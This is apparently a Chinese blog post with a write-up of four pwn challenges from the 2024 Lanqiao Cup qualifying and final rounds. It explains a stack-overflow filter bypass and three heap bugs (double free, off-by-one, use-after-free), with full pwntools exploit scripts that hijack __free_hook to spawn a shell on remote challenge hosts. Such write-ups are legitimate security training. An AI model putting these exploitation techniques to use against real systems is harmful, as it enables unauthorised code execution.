2024蓝桥杯初赛决赛pwn题全解

2024-06-08 1191阅读

蓝桥杯初赛决赛pwn题解

  • 初赛
    • 第一题
    • 第二题
    • 决赛
      • getting_started
      • babyheap

        初赛

        第一题

        2024蓝桥杯初赛决赛pwn题全解

        有system函数,并且能在bss上读入字符

        而且存在栈溢出,只要过掉check函数即可

        check函数中,主要是对system常规获取权限的参数,进行了过滤,用$0即可

        exp:

        from pwn import *
        li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
        ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
        def s(a):
            p.send(a)
        def sa(a, b):
            p.sendafter(a, b)
        def sl(a):
            p.sendline(a)
        def sla(a, b):
            p.sendlineafter(a, b)
        def r():
            p.recv()
        def pr():
            print(p.recv())
        def rl(a):
            return p.recvuntil(a)
        def inter():
            p.interactive()
        def bug():
            gdb.attach(p)
            pause()
        context(os='linux', arch='amd64', log_level='debug')
        p = remote('', )
        rl("restricted stack.\n")
        pay=b'$0'
        s(pay)
        rl("...\n")
        pay=b'a'*0x28+p64(0x0000000000400933)+p64(0x601090)+p64(0x400778)
        s(pay)
        sleep(0.5)
        sl(b'exec 1>&0')
        inter()
        

        第二题

        经典堆菜单题目

        2024蓝桥杯初赛决赛pwn题全解

        发现没有edit功能,考虑double free。版本为2.31 09.9

        挨个分析

        add函数,申请堆块部分

        2024蓝桥杯初赛决赛pwn题全解

        只能申请0x50大小的堆块,并且能读入0x50字节的大小内容

        free部分,

        free之后有置零,所以不存在uaf漏洞

        2024蓝桥杯初赛决赛pwn题全解

        show就是个正常打印

        2024蓝桥杯初赛决赛pwn题全解

        漏洞是在这个函数

        2024蓝桥杯初赛决赛pwn题全解

        2024蓝桥杯初赛决赛pwn题全解

        没有置零关键部分,所以存在uaf漏洞,因为只能申请0x50大小的堆块,所以考虑使用fastbin的double free

        具体思路:

        先把tcachebin填满

        之后利用后门函数free一个进fastbin,然后正常再free两个堆块(第二次free的是后门free的那一个)

        以此构造出double free,然后把tcache bin全部申请回来,然后再申请一个fastbin的堆块,fastbin的其他堆块就会进入到tcache bin里,因为前面已经构造了double free,所以这次可以修改fd的末位,然后就能申请出来这个错位的堆块A,修改堆块的size,然后free进unsorted bin,之后申请一个小块B,泄露libc,然后free这个小块B,再free小块A(A需要提前伪造好size位)然后申请回来A,把B的fd改为free hook,然后打free hook为system即可

        from pwn import *
        li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
        ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
        def s(a):
            p.send(a)
        def sa(a, b):
            p.sendafter(a, b)
        def sl(a):
            p.sendline(a)
        def sla(a, b):
            p.sendlineafter(a, b)
        def r():
            p.recv()
        def pr():
            print(p.recv())
        def rl(a):
            return p.recvuntil(a)
        def inter():
            p.interactive()
        def bug():
            gdb.attach(p)
            pause()
        def get_addr():
            return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
        def get_sb():
            return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
        context(os='linux', arch='amd64', log_level='debug')
        p = remote('',)
        libc = ELF('./libc.so.6')
        def add(c):
        	rl("4.exit\n")
        	sl(str(1))
        	sleep(0.2)
        	s(c)
        def free(i):
        	rl("4.exit\n")
        	sl(str(2))
        	sleep(0.2)
        	sl(str(i))
        def show(i):
        	rl("4.exit\n")
        	sl(str(3))
        	sleep(0.2)
        	sl(str(i))
        def free2(i):
        	rl("4.exit\n")
        	sl(str(0x202405))
        	sleep(0.5)
        	sl(str(i))
        add(b'\x00'*0x38+p64(0x61))
        add(b'\x00'*0x28+p64(0x61))
        for i in range(12):
        	add(b'a') #为伪造size做准备
        for i in range(7):
        	free(i+2)
        free(9)
        free(10)
        free2(0)
        free(1)
        free(0)
        for i in range(7):
        	add(b'a')
        add(b'\x30')
        add(b'a')
        add(b'a')
        add(b'\x00'*0x28+p64(0x421)) #修改size位
        free(6)
        add(b'a')
        show(6)
        libc_base=get_addr()-0x1ecf61
        li(hex(libc_base))
        free_hook=libc_base+libc.sym['__free_hook']
        li(hex(free_hook))
        system,bin=get_sb()
        free(11)
        free(6)
        free(10)
        add(b'\x00'*0x28+p64(0x61)+p64(free_hook)) #修改fd位
        add(b'/bin/sh\x00')
        add(p64(system))
        free(10)
        inter()
        

        哪里不明白,调试调试就行了

        决赛

        getting_started

        比赛的时候,先看的这个题目,本地打通的了,远程打不通,这个随机值纯看脸,我脸黑,重开靶机10次左右,才打通,但是没血了

        以时间为种子产生随机值

        2024蓝桥杯初赛决赛pwn题全解

        然后就是一个栈溢出

        2024蓝桥杯初赛决赛pwn题全解

        这个开启pie了,并且没法泄露东西,所以就正常输入随机值了

        之后就是一个菜单题目

        2024蓝桥杯初赛决赛pwn题全解

        add函数,最大申请0x100的堆块

        2024蓝桥杯初赛决赛pwn题全解

        漏洞在edit里

        2024蓝桥杯初赛决赛pwn题全解

        2024蓝桥杯初赛决赛pwn题全解

        这是先读入后判断,所以存在off by one,实际还有个null

        思路就是利用off by one修改size,构造堆块重叠

        利用思路

        因为堆块限制的不强,所以直接free满tc,进入unsorted,之后再申请回来一部分,然后show出来libc

        然后,off by one构造堆块重叠,利用重叠的堆块,修改fd,申请到free hook,然后打free hook为system

        exp:

        from pwn import *
        from struct import pack
        from ctypes import *
        from LibcSearcher import *
        import base64
        import gmpy2
        li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
        ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
        def s(a):
            p.send(a)
        def sa(a, b):
            p.sendafter(a, b)
        def sl(a):
            p.sendline(a)
        def sla(a, b):
            p.sendlineafter(a, b)
        def r():
            p.recv()
        def pr():
            print(p.recv())
        def rl(a):
            return p.recvuntil(a)
        def inter():
            p.interactive()
        def bug():
            gdb.attach(p)
            pause()
        def get_addr():
            return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
        def get_addr1():
            return u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
        def get_sb():
            return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
        context(os='linux', arch='amd64', log_level='debug')
        #p = process('./pwn')
        p = remote('39.106.48.123', 22289)
        elf = ELF('./pwn')
        #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
        #libc = ELF('./libc-2.31.so')
        def add(idx,size):
        	rl(":")
        	sl(str(1))
        	rl("Index: ")
        	sl(str(idx))
        	rl("Size ")
        	sl(str(size))
        def edit(idx,c):
        	rl(":")
        	sl(str(2))
        	rl("Index: ")
        	sl(str(idx))
        	rl("Content: ")
        	s(c)
        def show(idx):
        	rl(":")
        	sl(str(3))
        	rl("Index: ")
        	sl(str(idx))
        def free(idx):
        	rl(":")
        	sl(str(4))
        	rl("Index: ")
        	sl(str(idx))
        libc = cdll.LoadLibrary('./libc-2.27.so')
        seed =libc.time(0)
        srand = libc.srand(seed)
        a=[0,0,0,0,0,0,0,0,0,0]
        for i in range(7):
        	a[i]=int(str(libc.rand()% 80 + 32).encode())
        rl("please login >>>>\n")
        pay=p8(a[0])+p8(a[1])+p8(a[2])+p8(a[3])+p8(a[4])+p8(a[5])+p8(a[6])
        sl(pay)
        libc=ELF("./libc-2.27.so")
        for i in range(10):
        	add(i,0x90)
        for i in range(7):
        	free(i)
        free(7)
        show(7)
        for i in range(7):
        	add(i,0x90)
        add(7,0x20)
        show(7)
        libc_base=get_addr()-0x3ebd30
        li(hex(libc_base))
        free_hook=libc_base+libc.sym['__free_hook']
        system,bin=get_sb()
        for i in range(11):
        	add(i+10,0x68)
        edit(17,b'a'*0x68+p8(0xe1))
        free(18)
        free(19)
        add(18,0xd8)
        edit(18,b'a'*0x68+p64(0x71)+p64(free_hook)+b'\n')
        add(27,0x68)
        edit(27,b'/bin/sh\x00\n')
        add(28,0x68)
        edit(28,p64(system)+b'\n')
        free(27)
        inter()
        

        babyheap

        同样也是4个功能

        2024蓝桥杯初赛决赛pwn题全解

        申请给限制到0-0x60

        2024蓝桥杯初赛决赛pwn题全解

        有个后门可以申请一个大堆块

        2024蓝桥杯初赛决赛pwn题全解

        free函数中存在uaf漏洞

        2024蓝桥杯初赛决赛pwn题全解

        这个题目和初赛的第二题有点像,这个题目更好布置堆块

        也是通过double free,修改fd的末位,不过这个要小布置一下堆块,因为这个edit会在末位填上null,申请出来错位的堆块A,修改一下size,free进unsorted,然后show出libc,取出来这个堆块(A包含的堆块),free进tc里,通过A修改它的fd为free hook,然后打free hook为system

        exp:

        from pwn import *
        from struct import pack
        from ctypes import *
        from LibcSearcher import *
        import base64
        import gmpy2
        li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
        ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
        def s(a):
            p.send(a)
        def sa(a, b):
            p.sendafter(a, b)
        def sl(a):
            p.sendline(a)
        def sla(a, b):
            p.sendlineafter(a, b)
        def r():
            p.recv()
        def pr():
            print(p.recv())
        def rl(a):
            return p.recvuntil(a)
        def inter():
            p.interactive()
        def bug():
            gdb.attach(p)
            pause()
        def get_addr():
            return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
        def get_sb():
            return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
        context(os='linux', arch='amd64', log_level='debug')
        p = remote('8.147.132.99',23464)
        elf = ELF('./pwn')
        libc=ELF("./libc.so.6")
        def add(idx,size):
        	rl(">> \n")
        	sl(str(1))
        	rl("index: \n")
        	sl(str(idx))
        	rl("size: ")
        	sl(str(size))
        	
        def free(idx):
        	rl(">> \n")
        	sl(str(2))
        	rl("index: \n")
        	sl(str(idx))
        def edit(idx,c):
        	rl(">> \n")
        	sl(str(3))
        	rl("index: \n")
        	sl(str(idx))
        	rl("contents: \n")
        	s(c)
        def show(idx):
        	rl(">> \n")
        	sl(str(4))
        	rl("index: \n")
        	sl(str(idx))
        def add2(size):
        	rl(">> \n")
        	sl(str(555))
        	rl("find me\n")
        	sl(str(size))
        add(0,0x60)
        add(1,0x60)
        add2(0x400)
        add(2,0x60)
        free(1)
        free(0)
        edit(0,b'\n')
        add(3,0x60)
        add(4,0x60)
        edit(4,p64(0)+p64(0x481)+b'\n')
        free(1)
        show(1)
        libc_base=get_addr()-96-0x10-libc.sym['__malloc_hook']
        li(hex(libc_base))
        free_hook=libc_base+libc.sym['__free_hook']
        system,bin=get_sb()
        add(5,0x60)
        free(2)
        free(5)
        edit(4,p64(0)+p64(0x71)+p64(free_hook)+b'\n')
        add(6,0x60)
        edit(6,b'/bin/sh\x00\n')
        add(7,0x60)
        edit(7,p64(system)+b'\n')
        free(6)
        	
        inter()
        
VPS购买请点击我

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

目录[+]